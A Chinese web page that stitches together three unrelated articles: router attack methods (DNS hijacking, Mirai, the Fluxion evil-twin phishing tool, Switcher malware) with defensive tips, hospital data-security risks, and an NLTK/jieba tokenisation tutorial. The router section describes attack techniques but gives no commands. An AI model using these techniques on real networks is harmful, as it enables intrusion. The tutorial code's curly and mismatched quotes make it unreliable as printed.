入侵路由器后,黑客便控制了受害者的上网入口,之后能够进行的攻击超乎想象。有些黑客会修改DNS,将它改为恶意DNS,从而可以监控流量,植入广告,或者进行恶意重定向,诱导用户下载恶意软件;而有一些黑客则会利用路由器进行更大规模的DDoS攻击,比如TheMoon僵尸程序、针对IoT设备的僵尸网络Mirai。但实际上,黑客能做的远不止这些,如果要进行针对性的攻击,黑客在内网中进一步进行渗透。

807-3536-封面故事2-600-2.jpg

Mirai僵尸网络影响了全球范围内的大量主机

而直到现在,仍然有大量的路由器尚未修复漏洞,小编简单用shodan的搜索结果进行测试,在20个搜索结果中就找到了一台存在漏洞的Netgear R7000路由器,要注意这是前两页的搜索结果,可想而知肯定有大量黑客都已经进行过对这些结果的检查。

netgear.png

之所以网络中仍然存在大量漏洞的路由原因就是厂商无法进行及时的推送,路由器虽然是网络的入口,却没有一种完善的固件更新机制能让用户一直使用到最新的固件,这可能是厂商亟需解决的问题。

攻击路由新思路

虽然上面提到的漏洞危害巨大,但有一个必要的条件是,路由器端口必须暴露在公网,或者攻击者需要身处同一网络环境中,也就是说,黑客需要通过一些方法进入相同的无线网络,要达到这一目的,除了寄希望于前文提到的无线协议漏洞,还有一些新奇的思路:

WiFi万能钥匙

wifi万能钥匙.png

前几年比较火的WiFi万能钥匙就可以用来进行攻击,这款应用会上传你所输入的路由器密码,开放给他人使用。如果密码未知,万能钥匙还会提供一个弱口令字典,收录了比较常用的密码,帮助用户破解无线网络。虽然工具的原本的目的是让大家能够共享网络,但攻击者可以利用这款应用成功进入他人网络进行进一步攻击,针对不同的路由器黑客可以使用不同的攻击方法,甚至借用前文所说的一些针对特定路由器的漏洞展开攻击。

Switcher病毒

去年12月,曾有一款劫持路由器DNS设置的“Switcher”病毒,也是选择了新的感染途径,它会先感染手机,然后利用软件中内置的弱口令字典爆破路由器web界面,成功后,它会设置恶意DNS作为主DNS服务器,从而劫持用户的整个网络。

Fluxion

Fluxion 

去年年底我们还曾介绍过一款名为Fluxion的工具,它的入侵途径不是网线,而是使用路由器的用户。

Fluxion使用WPA握手功能来控制登录页面的行为和控制整个脚本的行为。它会阻塞原始网络并创建一个具有相同名称的克隆网络,引起断开连接后的用户加入,并且提供了一个虚假的路由器重新启动或加载固件,并请求网络密码继续登录的页面。当用户提供密码后,攻击者就可以借用密码入侵网络,同样的,攻击者在进入网络后可以使用各种针对路由器的漏洞展开进一步的攻击。

假页面.jpg

用户看到的假页面

防范

对于针对无线协议漏洞的防范,相信大家都比较熟悉:在设置路由器时应该选择WPA/WPA2的加密方式,还要选取足够复杂的无限密码;为了防止PIN攻击,还需要关闭路由中的WPS功能。

而对于那些利用路由器后门的攻击,可以从几方面防范:

一是检查路由端口转发配置。因为事实上家用路由很少会暴露在公网环境下,尤其是国内的运营商还会封锁部分端口。因此,如果黑客想要从路由器的Web管理页面入侵,那路由器得要已经暴露在公网上。

二是对路由器的安全功能进行配置,比如为路由器的Web管理页面设置密码,另外就是绑定MAC地址。如果没有进行端口转发的配置,黑客则需要进入Wifi网络进行入侵,无论是上面提到的WiFi万能钥匙还是其他入侵手法都无法避开MAC地址的检查。

*参考来源:Freebuf [1] [2],本文作者:vulture,转载请注明来自FreeBuf.COM

医疗信息化的快速发展,让医院发生了很多的变化: 

1.在系统的建设和应用方面,从单机、单用户应用发展到部门级、全院级管理信息系统应用。

2.从以财务、药品和管理为中心的发展,开始集中向以病人信息为中心的临床业务支持和电子病历应用。

3.微信、支付宝等快捷支付方式深入民生行业,使得医疗信息化系统从局限在医院内部的应用,逐步走向开放的互联网。

4.国家区域医疗建设的规划,对区域医疗信息化多接口的应用,提出了前所未有的高要求。

W020170621478282244248_副本.jpg

HIS、RIS 、LIS、CIS、PACS、CPR等系统的应用逐渐深入整合,为医疗卫生行业的高效、快捷、便民提供了信息化基础,但患者信息的高度集中,也让数据的安全性受到较大的挑战。

医疗作为关乎民生的重要行业,在巨大商业利益的驱使下,医疗行业的数据库面临来自内部威胁和外部威胁的双重包夹。一旦数据泄露,不仅影响医院公众形象,甚至损害患者的个人利益,更是为本就紧张的医患关系又增加了不和谐的色彩。而网络安全法的出台,也让数据安全的责任界定有了更为明确的责任主体,医院的信息部门无疑是“压力山大”。

0947020.jpg

现如今的医疗行业信息安全建设,存在着不少“致命”的痛点: 

1、技术人员不足

在当前的建设条件下,各个医院的信息化设备一般都采取机房集中式托管的模式。在实际应用中,往往是数十台至几百台服务器的机房,却只能配备1-2名技术人员,显然,人员需求是不足的。

2、管理手段需要强化

在设备的日常管理和维护方面,大多数操作都是直接远程登录操作管理,或者派人员去机房对所需设备外接显示器进行操作。对于这些操作过程的记录和可追溯性不足,不满足相关法规要求。

3、安全建设意识薄弱

安全建设一直处于一种“重建设、轻管理”的状态,通常也只是在网络安全层面部署安全产品,如网络层面的内外隔离、防止底层的网络攻击等。

随着IT技术的不断深入发展,面临的安全危险也越来越多,传统的网络安全界限也逐渐模糊化。对于实际的日常工作中遇到的最核心的数据层面的安全问题,缺乏有效的建设防护。

1.png

美创科技通过实际调研分析发现,用户在核心数据安全方面,主要存在以下问题:

如何防止医院临床及药品信息等核心数据的信息泄密?

如何监管和审核针对核心资产的操作?

这些问题实际上与核心数据安全建设思路以及安全管理制度的不足有关,单纯靠底层的网络安全产品无法解决上述问题。

研究还发现,对医疗行业的信息系统来讲,以下几种常见的泄密途径:

外来的系统运维人员、内部的IT运维人员

内外部运维人员的日常操作,存在账号、密码共享,身份鉴定难等问题。

应用程序开发人员

在应用系统不断地在开发、维护当中,为了工作方便,开发人员都是直接在生产数据库系统上进行应用的维护,包括创建新的表、修改原有的数据定义等。开发人员对应用系统的架构了如指掌,他们不需要额外的技术工具或者偷偷摸摸地进入核心的数据库系统就可以借着维护数据的名义获取医院临床及药品等敏感信息。

外部的职业“黑客”

一般来讲,医院的内部网络和外部互联网之间都部署了防火墙,有的甚至是物理上断绝的,因此一般不会出现从互联网上发起的攻击。多数是这些“黑客”直接在医院内部找到一个物理接入点,感染木马等病毒后进行攻击。由于现有的大多数数据库网络通信都是明文的,如果对内部网络疏于管理,“黑客”极有可能在用户现场得到后台系统的用户名、口令等重要信息,从而可能造成对医院的患者信息、临床及药品信息等系统敏感信息的泄露。

1437441618727.png

AlphaGo战胜了围棋领域的人类第一高手,让人们惊叹于人工智能的发展速度。一夜之间,人工智能的应用成为了大家最热议的话题。在医疗领域,人工智能应用已逐渐渗透,如病理诊断、影像、肿瘤治疗等。

人工智能的核心是算法和数据,尤其是海量的优质数据,是人工智能发展的关键。过去“以药养医”,存在过度治疗、过度检查等问题,对医院的临床数据特别是治疗数据造成了污染。而数据质量的高低则直接决定了智能医疗的成功与否。

为了获得持续高质量的医疗大数据,数据治理和自然语言的处理不可或缺。在临床科研中,存在着很多无法描述的自然语言,我们需要将自然语言处理成可量化、可统计的数据。


每家医院都存有大量无法标准化的历史病案数据,特别是B超、放射、病理等数据。如B超的检查结果:

肝:肝大小形态正常,包膜光,实质回声均匀,管网清,右肝内胆管见约0.4cm强光斑,门脉不扩。胆:胆囊大小形态正常,壁光,内未见明显占位及结石,肝内外胆管不扩。胰:胰腺大小形态正常,实质回声均匀,主胰管不扩。脾:脾大小形态正常,内部回声均匀。双肾:双肾大小形态正常,包膜光,左肾见约0.7*0.7cm高回声结节,右肾见约0.4*0.3cm强光斑,余实质回声均匀,双肾盂不扩。CDFI:双肾内血流分布正常。输尿管:双侧输尿管未见明显扩张。膀胱:膀胱充盈尚可,壁毛糙,内透声佳。前列腺:前列腺大小约5.3*3.3*3.7cm,重约34g,内见多枚强光斑,较大约0.8cm,余实质回声欠均匀。

为了解析这部分的数据,我们需要自然语言处理工具,将其切分,分解成可统计、可分析的标准化数据。

一、Python自然语言处理:NLTK

自然语言工具箱(NLTK,Natural Language Toolkit)是一个基于python的类库,它是当前最为流行的自然语言编程和开发工具之一。NLTK是一个高效的平台,为自然语言的处理提供了很多的接口。

Python和NLTK的安装不在本文的讨论范围,在此不再赘述。接下来通过一些实例介绍NLTK的使用。

1.分 句

针对一段文字的描述,我们希望把它分成一个一个的句子。使用NLTK中的punkt句子分割器:

import nltk 

sent_tokenizer = nltk.data.load(‘tokenizers/punkt/english.pickle’)

paragraph = “The first time I heard that song was in Hawaii on radio. I was just a kid, and loved it very much! What a fantastic song!”

sentences = sent_tokenizer.tokenize(paragraph)

print(sentences)

得到的结果为:

['The first time I heard that song was in Hawaii on radio.', 'I was just a kid, and loved it very much!', 'What a fantastic song!']

2.分 词

分成了句子之后,我们还要将句子分词,得到一个个的词组。使用NLTK 包中的 WordPunct tokenizer:

import nltk

sentence = “Are you old enough to remember Michael Jackson attending the Grammys with Brooke Shields and Webster sat on his lap during the show?”  

words = nltk.word_tokenize(sentence)

print(words)

得到的结果:

['Are', 'you', 'old', 'enough', 'to', 'remember', 'Michael', 'Jackson', 'attending', 'the', 'Grammys', 'with', 'Brooke', 'Shields', 'and', 'Webster', 'sat', 'on', 'his', 'lap', 'during', 'the', 'show', '?']

3.词性标注 

分句和分词之后,我们还可以对分词做词性标注:

import nltk

sentence = “Are you old enough to remember Michael Jackson attending the Grammys with Brooke Shields and Webster sat on his lap during the show?”  

words = nltk.word_tokenize(sentence)

tags = nltk.pos_tag(words)

print(tags)

得到的结果如下:

[('Are', 'NNP'), ('you', 'PRP'), ('old', 'JJ'), ('enough', 'RB'), ('to', 'TO'), ('remember', 'VB'), ('Michael', 'NNP'), ('Jackson', 'NNP'), ('attending', 'VBG'), ('the', 'DT'), ('Grammys', 'NNP'), ('with', 'IN'), ('Brooke', 'NNP'), ('Shields', 'NNP'), ('and', 'CC'), ('Webster', 'NNP'), ('sat', 'VBD'), ('on', 'IN'), ('his', 'PRP$'), ('lap', 'NN'), ('during', 'IN'), ('the', 'DT'), ('show', 'NN'), ('?', '.')]

以上都是NLTK自然语言处理工具包的基础功能,更深入的应用如词干提取、词形还原、频率分布、关键词排序等,大家可以在实际的使用中对其做更深入的研究。

二、中文分词

中文与英文的最大不同在于中文需要分词。现在最流行的分词工具包括斯坦福中文分词器、哈工大分词包、结巴分词等。本文主要介绍结巴分词工具的使用。

结巴分词支持三种分词模式:精确模式、全模式、搜索引擎模式,同时支持自定义词典。主要功能包括分词、添加自定义词典、关键词提取、词性标注等。

我们以文初的B超诊断结果描述作为处理文本介绍结巴分词的功能:

1.分 词

代码示例:

import jieba

detail = “肝:肝大小形态正常,包膜光,实质回声均匀,管网清,右肝内胆管见约0.4cm强光斑,门脉不扩。”

seg_list = jieba.cut(detail, cut_all=True)

print(“Full Mode: “ + “/ “.join(seg_list))  # 全模式

seg_list = jieba.cut(detail, cut_all=False)

print(“Default Mode: “ + “/ “.join(seg_list))  # 精确模式

seg_list = jieba.cut_for_search(detail)  # 搜索引擎模式

print(“, “.join(seg_list))

输出结果:

Full Mode: 肝/ / / 肝/ 大小/ 形态/ 正常/ / / 包膜/ 光/ / / 实质/ 回声/ 均匀/ / / 管网/ 清/ / / 右/ 肝/ 内胆/ 胆管/ 管见/ 约/ 0/ 4cm/ 强光/ 光斑/ / / 门/ 脉/ 不/ 扩/ / 

Default Mode: 肝/ :/ 肝/ 大小/ 形态/ 正常/ ,/ 包膜/ 光/ ,/ 实质/ 回声/ 均匀/ ,/ 管网/ 清/ ,/ 右肝内/ 胆管/ 见/ 约/ 0.4/ cm/ 强/ 光斑/ ,/ 门脉/ 不/ 扩/ 。

肝, :, 肝, 大小, 形态, 正常, ,, 包膜, 光, ,, 实质, 回声, 均匀, ,, 管网, 清, ,, 右肝内, 胆管, 见, 约, 0.4, cm, 强, 光斑, ,, 门脉, 不, 扩, 。

2.添加自定义词典

从上面的分词结果中我们可以看到精确模式下分词的准备度还是比较高的,包膜、右肝内等都能识别出。不过在医疗领域有较多的专有名词,如皮髓质、远程回声、不扩等症状描述的词汇,可以通过自定义词典的方式,提高分词的准确度,如上面的“门脉不扩”分词为“门脉/不扩”。

3.关键词提取

结巴分词有“基于TF-IDF算法的关键词提取”和“基于TextRank算法的关键词提取”两个接口。

代码示例:

import jieba

import jieba.analyse

detail = “肝:肝大小形态正常,包膜光,实质回声均匀,管网清,右肝内胆管见约0.4cm强光斑,门脉不扩。”

print(‘=’*40)

print(‘关键词提取”)

print(‘-’*40)

print(‘ TF-IDF’)

print(‘-’*40)

for x, w in jieba.analyse.extract_tags(detail, withWeight=True):

    print(‘%s %s’ % (x, w))

print(‘-’*40)

print(‘ TextRank’)

print(‘-’*40)

for x, w in jieba.analyse.textrank(detail, withWeight=True):

    print(‘%s %s’ % (x, w))

输出结果:

关键词提取

—————————————-

 TF-IDF

—————————————-

右肝内 0.8539119644928571

0.4 0.8539119644928571

cm 0.8539119644928571

门脉 0.8539119644928571

光斑 0.7825884766285715

—————————————-

 TextRank

—————————————-

管网 1.0

包膜 0.9956270686506203

实质 0.9532805433007815

回声 0.9497949058021358

门脉 0.7884070838128903

4.词性标注 

代码示例:

import jieba

import jieba.posseg

detail = “肝:肝大小形态正常,包膜光,实质回声均匀,管网清,右肝内胆管见约0.4cm强光斑,门脉不扩。”

words = jieba.posseg.cut(detail)

for word, flag in words:

    print(‘%s %s’ % (word, flag))

输出结果:

肝 n

: x

肝 n

大小 b

形态 n

正常 d

, x

包膜 n

光 n

, x

实质 n

回声 v

均匀 a

, x

管网 n

清 t

, x

右肝 n

内 f

胆管 n

见 v

约 d

0.4 m

cm eng

强 a

光斑 n

, x

门脉 n

不 d

扩 v

。 x


简单总结

自然语言处理是一个庞大的课题,在医疗领域更是如此。本文只是对python中自然语言处理工具NLTK和结巴分词做了简单的介绍,更多的使用研究如NLTK和结巴分词的结合使用、统计分析、机器学习等还需要进一步的研究。

使用自然语言处理的工具以及医疗主数据、机器学习等,将医院的病案大数据格式化、标准化,相信一定可以对临床研究与智能医疗领域提供最有利的支持。